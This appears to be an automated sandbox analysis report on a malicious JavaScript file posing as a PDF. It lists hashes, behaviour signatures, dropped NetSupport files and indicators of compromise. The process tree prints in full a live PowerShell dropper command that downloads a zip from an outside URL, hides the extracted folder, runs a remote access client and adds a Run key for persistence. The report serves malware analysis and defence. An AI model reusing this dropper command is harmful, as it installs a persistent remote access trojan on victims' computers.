Resubmissions

07/06/2023, 22:56

230607-2w2p7shd8t 10

07/06/2023, 22:53

230607-2t9yssgh64 10

Analysis

  • max time kernel
    85s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/06/2023, 22:53

General

  • Target

    pdf17161716.js

  • Size

    61KB

  • MD5

    5b70721fd7755b29815ab6af570b1a3b

  • SHA1

    b7f5ad5aebc4170e43cbfd00daa89e3fc5c3266c

  • SHA256

    0ef2d57b8d790ccef1029398672e533f5db49be1c483acc92b9a2e2e20f83a3d

  • SHA512

    72f89bd2b4e29c9fd02dba3dd9046eb2869a458fb16c53726d7a84d19ddbf46a430b70eff798fe207f80c758eac4b644e1ab6e820a1a29492338812a88a73d61

  • SSDEEP

    768:CUEP/P6PE5fyqhPHD5ct5+2CC9IdXiyvJk76:o8ERrPHD5zdZkO

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://laverneme.com/systemwp.php

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 3 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\pdf17161716.js
    1⤵
    • Blocklisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2692
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "cd $env:AppData; $linok='https://laverneme.com/systemwp.php'; $rnums=Get-Random -minimum 5 -maximum 13; $r_rnum=Get-Random -minimum 1051 -maximum 8989; $chrs='abcdefgjklmntuvwxyzABCDEFGHILMNOTUWXYZ1256890'; $r_strng=''; $ran=New-Object System.Random; for ($i=0; $i -lt $rnums; $i++) {$r_strng+=$chrs[$ran.next(0, $chrs.Length)]}; $rzip=$r_strng+'.zip'; $path=$env:APPDATA+'\'+$rzip; $pezip_=$env:APPDATA+'SatanSync_'+$r_rnum; Start-BitsTransfer -Source $linok -Destination $Path; expand-archive -path $path -destinationpath $pezip_; $FOLD=Get-Item $pezip_ -Force; $FOLD.attributes='Hidden'; Remove-Item -path $path; cd $pezip_; start client32.exe; $fstrng=$pezip_+'\client32.exe'; $ranome='SatanSync_'+$r_rnum; New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name $ranome -Value $fstrng -PropertyType 'String'; #Yiia-SLXJKO1%$Th*7)Sw4Pv!H2&%tSCd4gmw1w7ZHT%#L3q1if--M@+m(C2nN)JRZMBiv5WSMheg4#!LEEi9Iz82&Bk3A-BoAtEmT3O=1kgqj0R0+)9T8RoqAthn_*pSslVxtJ5re1$fEcnCLFL%9Z%)(*aPcHvYuZOlHwYZIQkaZ7^W$iO^WaEGh-rh_pqI@ExCCs8(IYMtMLy)mclEZz1&Sqn5g*%hRwm(*R-tkeSrHeFCSoebK@nbMUiR@-LgJtXHH)zQgfmi6u1501nu59X3^rWq#c2u-5pP^_tZvExUKaXNk4MGUG6Y5gkL1@+Mo0tRGZ%yGves3(Fg-LWPM00^um62qziIq$Dlui6*ISrV@TuqhrnN9%xBiSIZWS^yWj!Ue4j6-Qf9flru-x^gED-qS352eJjLinN-Zb4-PIuu!6Nvopi)RoHpt1&FIl6uSDWTVqQTcItMhTgu)UkEv=YiXeMloPQ$f!1d+S8=B!Q@Sl#L7-yKE0)zTG%s4ntt=wRGrDAfR2uJdCIzZpqfxhsZ0Hg6-%o1!L%q^pOg!-Vw*LC=4t=j@#LlBK7ukmFd0QYoFTyhBYK)#lyW0!DQJ1Nl=U(N==O3B1l8+NfV^ODkFHW0Lp#MQucg5#VKkFGbqsoRu8fALDnyn=nTyOl5J57c%e1f$dbq@5fX-E2t)l2F^j)03S2deGW)SFa-%6J7Y-$stYWaZN=ASe=^tU*2qTAbC$daBbV1hM8HPrS_j%!#rNinO$e#+DLnXVraq7SU2DjPAwjbBilGrr@lcR_0HE^*79h$o@1bT7ry(N$MrLy9uOT=#qBRSZz1tmBr#70!*6Z9a0me%8kYAL-jCjho0MXLuhQNOY_#36dnOMvL84T95svkDvWQeTT-dMOZXz_7Rg9ITI9s6NQN5Uji_Zfw%R7oY(!+-)4+)BSFmseb*Bzs(en5nTqg^CQuAOp&btpQT1pJ0usom)Yws^aicWn#bnSS4i@CN@M(uo*swtkeD1X#h4dX*b)YP1Em3!-)t#u6!VRV!8(_WR(+GiyGpIiK0h8QvnRVhZ&yjxSYk3EDqftFkV-CH0-4rAM9Z=KE0dFZOS%lnunQTA#N=le06Ww18+-+x^o*)vjB+Hde3CqeQP@KTd*x)mqqqU(e_R!di5jvro0WiQ!BhFwvU6rR7*EZHl=x$$nR&7$h4!37DemwVLoNmELuNS3B$TE3mpLdZUL@vrP+nDNW6pt8ud+waP$mSWg69K%mU6QQ2@Lc^H&in4L0Nk6pWL_h1kN3kU1Qz39z(uqe*nMgDI6dIh8M3FmZ36DU&AKdxPby^Jcy7+8CL_wCzZIkHCueg@Fl3A8pV+suasRLg2F!5I$Ifb%bSM*f3NmJN0qO@_Z-Ft+eR@cR0&(c_APt9l5kykm8HTtt4p!Ps5Qq8D#BrCx1%DtK3dphxr%e4)KIOCy!Xc(yO=&Z4P-7R0k0_a^z391aH7qTPEmOCv80DreAa2soCv12%BYFmxiv*t&W@d0MK4H=&)sKHWk3%AtZaw-pT62e=O1ftOMwX^LFa28z2&@3WNrNFs2LTGpS=i5Y6@4DHii7XvJa*7dq7-MLoENYL!ppmNUfkPqEeN=JVhSJUmPC09+EtII*XC2uugGR_a-x#)8%l8!pzM2Aeui1Vxmm)I(FTRN*jE#b3a%y+0vfLdb5_p%JEI^oHvGXQ6cqKQPKpjB!kAJBvp7@E!-wId=!Sve(yg50GHilJy^2Zum3%#W&I9!G2Xn+y2fPg6FoZ!)5!LH=mq(5Jj#AosjL!54MjsZ=N_HW1noC^7Iq&TrU7PUV4tS$^ac$NWj+Z_o4dGDj-GhJo^q31l*kc*O@Ngxk3@_fOcHISAQ#iHQpbiLQem%fzfk6-4DueOhl"
      2⤵
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1992
      • C:\Users\Admin\AppData\RoamingSatanSync_8080\client32.exe
        "C:\Users\Admin\AppData\RoamingSatanSync_8080\client32.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:828

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ip5wj4xs.ea1.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\HTCTL32.DLL

    Filesize

    320KB

    MD5

    c94005d2dcd2a54e40510344e0bb9435

    SHA1

    55b4a1620c5d0113811242c20bd9870a1e31d542

    SHA256

    3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

    SHA512

    2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\HTCTL32.DLL

    Filesize

    320KB

    MD5

    c94005d2dcd2a54e40510344e0bb9435

    SHA1

    55b4a1620c5d0113811242c20bd9870a1e31d542

    SHA256

    3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

    SHA512

    2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\MSVCR100.dll

    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\NSM.LIC

    Filesize

    258B

    MD5

    1b41e64c60ca9dfadeb063cd822ab089

    SHA1

    abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

    SHA256

    f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

    SHA512

    c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\PCICHEK.DLL

    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\PCICL32.DLL

    Filesize

    3.6MB

    MD5

    d3d39180e85700f72aaae25e40c125ff

    SHA1

    f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

    SHA256

    38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

    SHA512

    471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\PCICL32.dll

    Filesize

    3.6MB

    MD5

    d3d39180e85700f72aaae25e40c125ff

    SHA1

    f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

    SHA256

    38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

    SHA512

    471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\client32.exe

    Filesize

    101KB

    MD5

    c4f1b50e3111d29774f7525039ff7086

    SHA1

    57539c95cba0986ec8df0fcdea433e7c71b724c6

    SHA256

    18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

    SHA512

    005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\client32.exe

    Filesize

    101KB

    MD5

    c4f1b50e3111d29774f7525039ff7086

    SHA1

    57539c95cba0986ec8df0fcdea433e7c71b724c6

    SHA256

    18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

    SHA512

    005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\client32.exe

    Filesize

    101KB

    MD5

    c4f1b50e3111d29774f7525039ff7086

    SHA1

    57539c95cba0986ec8df0fcdea433e7c71b724c6

    SHA256

    18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

    SHA512

    005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\client32.ini

    Filesize

    918B

    MD5

    49400d0ebc34337537a77a3edb5bf120

    SHA1

    6c3e1a7760e4b33ee34d475e71dc3ed71fc0c6fe

    SHA256

    36cb67c124cbf975b03a7cd5e6cf026368fd78ba7d486a78dac242c71e41ece9

    SHA512

    65ec9c7a6230ee3daa182c5c470ded00af9e3725bdbf7dac7c7c12a2136b5bb7914f63dcef641186db76301f43f156dc512c7be4922f3559a5d5e028c7e4df86

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\msvcr100.dll

    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\pcicapi.dll

    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\pcicapi.dll

    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

  • C:\Users\Admin\AppData\RoamingSatanSync_8080\pcichek.dll

    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

  • memory/1992-156-0x000002A368A70000-0x000002A368A7A000-memory.dmp

    Filesize

    40KB

  • memory/1992-155-0x000002A368A80000-0x000002A368A92000-memory.dmp

    Filesize

    72KB

  • memory/1992-138-0x000002A3664F0000-0x000002A366512000-memory.dmp

    Filesize

    136KB

  • memory/1992-154-0x000002A366540000-0x000002A366550000-memory.dmp

    Filesize

    64KB

  • memory/1992-153-0x000002A366540000-0x000002A366550000-memory.dmp

    Filesize

    64KB

  • memory/1992-152-0x000002A366540000-0x000002A366550000-memory.dmp

    Filesize

    64KB

  • memory/1992-151-0x000002A366540000-0x000002A366550000-memory.dmp

    Filesize

    64KB

  • memory/1992-150-0x000002A366540000-0x000002A366550000-memory.dmp

    Filesize

    64KB

  • memory/1992-149-0x000002A366540000-0x000002A366550000-memory.dmp

    Filesize

    64KB

  • memory/1992-148-0x000002A368A40000-0x000002A368A54000-memory.dmp

    Filesize

    80KB